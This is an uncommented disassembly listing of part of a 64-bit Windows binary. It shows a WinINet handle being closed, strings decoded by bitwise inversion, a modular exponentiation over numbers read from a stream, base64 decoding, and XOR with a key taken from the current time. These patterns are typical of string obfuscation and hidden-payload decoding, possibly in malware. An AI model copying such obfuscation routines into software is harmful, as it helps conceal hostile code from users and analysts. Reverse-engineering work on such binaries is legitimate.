mov qword [rsi + 0x18], 0xf
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], 0xf
mov byte [rsi], r14b
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14005a1b1
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a1ac
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6b8
call fcn.14006868c
mov rdx, qword [rbp - 0x18]
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r14b
cmp rdx, 0xf
jbe 0x14005a1fe
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a1f9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6b8
call fcn.14006868c
test r13b, 4
je 0x14005a262
mov rdx, qword [rbp + 0x348]
and r13d, 0xfffffffb
cmp rdx, 0xf
jbe 0x14005a249
mov rcx, qword [rbp + 0x330]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a244
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6bf
call fcn.14006868c
mov qword [rbp + 0x340], r14
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], r14b
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x14005a2a3
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a29e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6bf
call fcn.14006868c
mov rdx, qword [r15 + 0x18]
mov qword [rbp + 0x300], r14
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], r14b
cmp rdx, 0xf
jbe 0x14005a2f6
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14005a2f1
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005e6bf
mov rcx, r8
call fcn.14006868c
lea rdi, [r15 + 0x18]
jmp 0x14005a58a
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov qword [rbp - 0x20], r14
mov r8d, 2
mov qword [rbp - 0x18], r14
lea rdx, [0x14006da54]
lea rcx, [rbp - 0x30]
movups xmmword [rbp - 0x30], xmm0
call fcn.14004a970
xorps xmm0, xmm0
mov qword [rsp + 0x78], r14
mov r8d, 2
mov qword [rbp - 0x80], r14
lea rdx, [0x14007478c]
lea rcx, [rsp + 0x68]
movups xmmword [rsp + 0x68], xmm0
call fcn.14004a970
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x378]
call fcn.1400604a0
xor r8d, r8d
lea rdx, [rsp + 0x68]
mov rcx, rax
mov rdi, rax
call fcn.1400600a0
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14005a3c1
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [rsp + 0x78]
lea r9, [rbp - 0x30]
mov rdx, rsi
mov rcx, rdi
call fcn.140060220
mov r8, qword [rbp - 0x20]
lea rdx, [rsp + 0x68]
add r8, rsi
mov rcx, rdi
call fcn.1400600a0
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14005a390
mov qword [rbp + 0x340], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x348], r14
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x330], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x340], xmm1
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], r14b
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14005a441
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a43c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6c6
call fcn.14006868c
mov rdx, qword [rbp - 0x18]
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r14b
cmp rdx, 0xf
jbe 0x14005a48e
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a489
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6c6
call fcn.14006868c
test r13b, 8
je 0x14005a4f2
mov rdx, qword [rbp + 0x348]
and r13d, 0xfffffff7
cmp rdx, 0xf
jbe 0x14005a4d9
mov rcx, qword [rbp + 0x330]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a4d4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6cd
call fcn.14006868c
mov qword [rbp + 0x340], r14
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], r14b
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x14005a533
mov rcx, qword [rbp + 0x2f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a52e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6cd
call fcn.14006868c
mov rdx, qword [r15 + 0x18]
lea rdi, [r15 + 0x18]
mov qword [rbp + 0x300], r14
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], r14b
cmp rdx, 0xf
jbe 0x14005a58a
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14005a585
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14005e6cd
mov rcx, r8
call fcn.14006868c
mov rdx, r14
mov ecx, 0xf
mov r8d, 0x10
mov rax, r15
mov qword [r8 + r15], rdx
mov qword [rdi], rcx
mov byte [rax], r14b
mov rdx, qword [rbp + 0x90]
cmp rdx, rcx
jbe 0x14005a5e2
mov rcx, qword [rbp + 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a5dd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6d4
call fcn.14006868c
mov rdx, qword [rbp + 0x368]
xor r15d, r15d
mov qword [rbp + 0x88], r15
mov qword [rbp + 0x90], 0xf
mov byte [rbp + 0x78], r14b
cmp rdx, 0xf
jbe 0x14005a63c
mov rcx, qword [rbp + 0x350]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a637
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6d4
call fcn.14006868c
mov rdx, qword [rbp + 8]
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], 0xf
mov byte [rbp + 0x350], r14b
cmp rdx, 0xf
jbe 0x14005a690
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a68b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6d4
call fcn.14006868c
mov rdx, qword [rbp + 0x3c0]
mov qword [rbp], r15
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], r14b
cmp rdx, 0xf
jbe 0x14005a6e1
mov rcx, qword [rbp + 0x3a8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a6dc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6d4
call fcn.14006868c
mov rdx, qword [rbp + 0x48]
mov qword [rbp + 0x3b8], r15
mov qword [rbp + 0x3c0], 0xf
mov byte [rbp + 0x3a8], r14b
cmp rdx, 0xf
jbe 0x14005a735
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a730
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6d4
call fcn.14006868c
mov rdx, qword [rbp + 0x3e0]
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], r14b
cmp rdx, 0xf
jbe 0x14005a786
mov rcx, qword [rbp + 0x3c8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a781
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6d4
call fcn.14006868c
lea rcx, [rbp + 0x19]
call fcn.14004e910
mov r14, rax
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [rax + rdi], r15b
jne 0x14005a7a0
lea rcx, [rdi + 1]
call fcn.140068a64
mov rsi, rax
mov rdx, r15
test rdi, rdi
je 0x14005a8a4
cmp rdi, 8
jb 0x14005a880
dec rax
lea rcx, [r14 - 1]
add rax, rdi
add rcx, rdi
cmp rsi, rcx
ja 0x14005a7e6
cmp rax, r14
jae 0x14005a880
cmp rdi, 0x40
jb 0x14005a84e
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, r14
lea rax, [rsi + 0x10]
sub rcx, rsi
nop dword [rax]
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005a800
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005a87b
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, r14
lea rax, [rdx + rsi]
sub r8, rsi
nop
movq xmm0, qword [rax + r8]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005a860
cmp rdx, rdi
jae 0x14005a8a4
sub r14, rsi
lea rcx, [rdx + rsi]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + r14]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005a890
mov byte [rdi + rsi], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r15
mov r8, 0xffffffffffffffff
mov qword [rbp + 8], r15
nop
inc r8
cmp byte [rsi + r8], r15b
jne 0x14005a8c0
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.14004a970
mov rcx, rsi
call fcn.14006868c
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x330]
call fcn.1400600a0
mov rdx, qword [rbp + 8]
mov rdi, rax
cmp rdx, 0xf
jbe 0x14005a92e
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005a929
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e6db
call fcn.14006868c
cmp rdi, 0xffffffffffffffff
je 0x14005ac59
lea rcx, [rbp + 0x1a]
call fcn.14004e9f0
mov rsi, rax
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], r15b
jne 0x14005a950
lea rcx, [rdi + 1]
call fcn.140068a64
mov r14, rax
mov rdx, r15
test rdi, rdi
je 0x14005aa53
cmp rdi, 8
jb 0x14005aa30
lea rax, [rdi - 1]
lea rcx, [rsi - 1]
add rax, r14
add rcx, rdi
cmp r14, rcx
ja 0x14005a997
cmp rax, rsi
jae 0x14005aa30
cmp rdi, 0x40
jb 0x14005a9fe
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, rsi
lea rax, [r14 + 0x10]
sub rcx, r14
nop
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005a9b0
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005aa2b
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, rsi
lea rax, [rdx + r14]
sub r8, r14
nop
movq xmm0, qword [rax + r8]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005aa10
cmp rdx, rdi
jae 0x14005aa53
sub rsi, r14
lea rcx, [rdx + r14]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + rsi]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005aa40
mov rdx, r14
mov byte [r14 + rdi], r15b
lea rcx, [rbp + 0x378]
call fcn.14004a930
mov rcx, r14
call fcn.14006868c
xor r8d, r8d
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x330]
call fcn.1400600a0
lea rcx, [rbp + 0x378]
mov rdi, rax
call fcn.140060380
cmp rdi, 0xffffffffffffffff
je 0x14005aac9
lea rcx, [rbp + 0x330]
mov byte [0x140080d9a], r15b
call fcn.140060380
lea rcx, [rbp + 0x428]
call fcn.140060380
lea rcx, [rbp + 0x3f8]
call fcn.140060380
jmp 0x14005d407
lea rcx, [rbp + 0x1b]
call fcn.14004eb90
mov rsi, rax
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [rax + rdi], r15b
jne 0x14005aae0
lea rcx, [rdi + 1]
call fcn.140068a64
mov r14, rax
mov rdx, r15
test rdi, rdi
je 0x14005abe3
cmp rdi, 8
jb 0x14005abc0
lea rax, [rdi - 1]
lea rcx, [rsi - 1]
add rax, r14
add rcx, rdi
cmp r14, rcx
ja 0x14005ab27
cmp rax, rsi
jae 0x14005abc0
cmp rdi, 0x40
jb 0x14005ab8e
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, rsi
lea rax, [r14 + 0x10]
sub rcx, r14
nop
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005ab40
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005abbb
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, rsi
lea rax, [rdx + r14]
sub r8, r14
nop
movq xmm0, qword [rax + r8]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005aba0
cmp rdx, rdi
jae 0x14005abe3
sub rsi, r14
lea rcx, [rdx + r14]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + rsi]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005abd0
mov rdx, r14
mov byte [r14 + rdi], r15b
lea rcx, [rbp + 0x378]
call fcn.14004a930
mov rcx, r14
call fcn.14006868c
xor r8d, r8d
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x330]
call fcn.1400600a0
lea rcx, [rbp + 0x378]
mov rdi, rax
call fcn.140060380
cmp rdi, 0xffffffffffffffff
je 0x14005ac59
lea rcx, [rbp + 0x330]
mov byte [0x140080d9a], r15b
call fcn.140060380
lea rcx, [rbp + 0x428]
call fcn.140060380
lea rcx, [rbp + 0x3f8]
call fcn.140060380
jmp 0x14005d407
or r13d, 1
lea rcx, [rbp + 0x1c]
call fcn.14004ed30
mov r14, rax
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], r15b
jne 0x14005ac70
lea rcx, [rdi + 1]
call fcn.140068a64
mov rsi, rax
mov rdx, r15
test rdi, rdi
je 0x14005ad74
cmp rdi, 8
jb 0x14005ad50
dec rax
lea rcx, [r14 - 1]
add rax, rdi
add rcx, rdi
cmp rsi, rcx
ja 0x14005acb6
cmp rax, r14
jae 0x14005ad50
cmp rdi, 0x40
jb 0x14005ad1e
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, r14
lea rax, [rsi + 0x10]
sub rcx, rsi
nop dword [rax]
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005acd0
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005ad4b
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, r14
lea rax, [rdx + rsi]
sub r8, rsi
nop
movq xmm0, qword [r8 + rax]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005ad30
cmp rdx, rdi
jae 0x14005ad74
sub r14, rsi
lea rcx, [rdx + rsi]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [r14 + rcx]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005ad60
mov byte [rsi + rdi], r15b
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], r15
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x368], r15
inc r8
cmp byte [rsi + r8], r15b
jne 0x14005ad97
mov rdx, rsi
lea rcx, [rbp + 0x350]
call fcn.14004a970
mov rcx, rsi
call fcn.14006868c
xor r8d, r8d
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x330]
call fcn.1400600a0
cmp rax, 0xffffffffffffffff
jne 0x14005af2f
or r13d, 2
lea rcx, [rbp + 0x1d]
call fcn.14004eed0
mov rsi, rax
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [rax + rdi], r15b
jne 0x14005adf0
lea rcx, [rdi + 1]
call fcn.140068a64
mov r14, rax
mov rdx, r15
test rdi, rdi
je 0x14005aef3
cmp rdi, 8
jb 0x14005aed0
lea rax, [rdi - 1]
lea rcx, [rsi - 1]
add rax, r14
add rcx, rdi
cmp r14, rcx
ja 0x14005ae37
cmp rax, rsi
jae 0x14005aed0
cmp rdi, 0x40
jb 0x14005ae9e
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, rsi
lea rax, [r14 + 0x10]
sub rcx, r14
nop
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005ae50
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005aecb
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, rsi
lea rax, [rdx + r14]
sub r8, r14
nop
movq xmm0, qword [r8 + rax]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005aeb0
cmp rdx, rdi
jae 0x14005aef3
sub rsi, r14
lea rcx, [rdx + r14]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rsi + rcx]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005aee0
mov rdx, r14
mov byte [r14 + rdi], r15b
lea rcx, [rbp + 0x378]
call fcn.14004a930
mov rcx, r14
call fcn.14006868c
xor r8d, r8d
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x330]
call fcn.1400600a0
cmp rax, 0xffffffffffffffff
jne 0x14005af2f
xor dil, dil
jmp 0x14005af32
mov dil, 1
test r13b, 2
je 0x14005af48
and r13d, 0xfffffffd
lea rcx, [rbp + 0x378]
call fcn.140060380
and r13d, 0xfffffffe
lea rcx, [rbp + 0x350]
mov r12d, r13d
mov dword [rbp + 0x398], r13d
call fcn.140060380
test dil, dil
jne 0x14005bf52
lea rcx, [rbp + 0x1e]
call fcn.14004f070
mov rsi, rax
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [rax + rdi], r15b
jne 0x14005af80
lea rcx, [rdi + 1]
call fcn.140068a64
mov r14, rax
mov rdx, r15
test rdi, rdi
je 0x14005b083
cmp rdi, 8
jb 0x14005b060
lea rax, [rdi - 1]
lea rcx, [rsi - 1]
add rax, r14
add rcx, rdi
cmp r14, rcx
ja 0x14005afc7
cmp rax, rsi
jae 0x14005b060
cmp rdi, 0x40
jb 0x14005b02e
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, rsi
lea rax, [r14 + 0x10]
sub rcx, r14
nop
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005afe0
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005b05b
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, rsi
lea rax, [rdx + r14]
sub r8, r14
nop
movq xmm0, qword [r8 + rax]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005b040
cmp rdx, rdi
jae 0x14005b083
sub rsi, r14
lea rcx, [rdx + r14]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + rsi]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005b070
mov rdx, r14
mov byte [r14 + rdi], r15b
lea rcx, [rbp - 0x10]
call fcn.14004a930
mov rcx, r14
call fcn.14006868c
lea rcx, [rbp - 0x10]
call fcn.1400601b0
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.14004a930
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0xd0]
call fcn.1400604a0
mov edx, 0xf8
lea rcx, [rbp + 0x5d10]
mov rdi, rax
call fcn.14004ca20
mov r13d, 1
lea rcx, [rbp + 0x5d10]
mov r9d, r13d
mov rdx, rdi
lea r8d, [r13 + 2]
call fcn.14005f7d0
lea rcx, [rbp + 0x378]
call fcn.14004e5a0
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x5d10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14005b1b9
nop dword [rax + rax]
mov r10, qword [0x1400800b8]
xor edx, edx
mov rax, qword [rbp + 0x450]
mov r9, r13
mov r8, qword [0x1400800c0]
div r10
mov rcx, rdx
test r8, r8
je 0x14005b17d
test r13b, r8b
je 0x14005b169
imul r9, rcx
xor edx, edx
mov rax, r9
div r10
mov r9, rdx
imul rcx, rcx
xor edx, edx
mov rax, rcx
div r10
shr r8, 1
mov rcx, rdx
jne 0x14005b155
movzx edx, r9b
lea rcx, [rbp + 0x378]
call fcn.1400601c0
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x5d10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14005b130
lea rcx, [rbp + 0x5d10]
call fcn.14004c9c0
mov rcx, rdi
call fcn.140060380
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x330]
call fcn.1400603e0
lea rcx, [rbp + 0x378]
call fcn.140060380
lea rcx, [rbp + 0x58]
call fcn.14004e5a0
lea rcx, [rbp + 0x330]
mov edi, r15d
mov esi, r15d
call fcn.1400601b0
lea rcx, [rbp + 0x330]
mov r14, rax
call fcn.140060200
mov r15, rax
cmp r14, rax
je 0x14005b294
mov ebx, 0x3f
movsx edx, byte [r14]
cmp dl, 0x3d
je 0x14005b287
lea ecx, [rdx - 0x41]
cmp cl, 0x19
ja 0x14005b239
lea eax, [rdx - 0x41]
jmp 0x14005b268
lea eax, [rdx - 0x61]
cmp al, 0x19
ja 0x14005b245
lea eax, [rdx - 0x47]
jmp 0x14005b268
lea eax, [rdx - 0x30]
cmp al, 9
ja 0x14005b251
lea eax, [rdx + 4]
jmp 0x14005b268
cmp dl, 0x2b
jne 0x14005b25d
mov eax, 0x3e
jmp 0x14005b268
cmp dl, 0x2f
mov eax, 0xffffffff
cmove eax, ebx
shl edi, 6
add esi, 6
or edi, eax
cmp esi, 8
jl 0x14005b287
sub esi, 8
mov edx, edi
mov ecx, esi
sar edx, cl
lea rcx, [rbp + 0x58]
call fcn.1400602f0
inc r14
cmp r14, r15
jne 0x14005b223
movzx ebx, byte [rsp + 0x60]
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x330]
call fcn.1400603e0
lea rcx, [rbp + 0x58]
call fcn.140060380
mov edx, 0x18
lea rcx, [rbp + 0x2f0]
call fcn.140049e40
lea rcx, [rbp + 0x2f0]
call fcn.140049ec0
lea rcx, [rbp + 0x458]
call fcn.14004aa70
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x458]
call fcn.14005ffa0
mov rdx, rax
lea rcx, [rbp + 0x3ec]
call fcn.140061890
lea rcx, [rbp + 0x3ec]
call fcn.14005ff90
mov esi, eax
xor r15d, r15d
mov eax, 0x88888889
mov edi, r15d
imul esi
add edx, esi
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x3c
sub esi, ecx
cmp qword [rbp + 0x340], r15
jbe 0x14005b366
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x330]
call fcn.14005ffb0
movzx ecx, sil
lea rdx, [rsp + 0x60]
xor cl, byte [rax]
mov byte [rsp + 0x60], cl
lea rcx, [rbp + 0x2f0]
call fcn.14005f7b0
inc rdi
cmp rdi, qword [rbp + 0x340]
jb 0x14005b330
lea rcx, [rbp + 0x350]
call fcn.14004e5a0
lea rcx, [rbp + 0x2f0]
mov rdi, r13
call fcn.140049e50
cmp r13, rax
jae 0x14005b3c2
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x2f0]
call fcn.14005f7a0
lea rcx, [rbp + 0x350]
movzx edx, byte [rax]
call fcn.1400602f0
lea rcx, [rbp + 0x2f0]
inc rdi
call fcn.140049e50
cmp rdi, rax
jb 0x14005b390
lea rcx, [rbp + 0x2f0]
call fcn.140049e60
xor r8d, r8d
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x350]
call fcn.1400600a0
lea rcx, [rbp + 0x350]
mov rdi, rax
call fcn.140060380
lea rcx, [rbp + 0x78]
call fcn.140060380
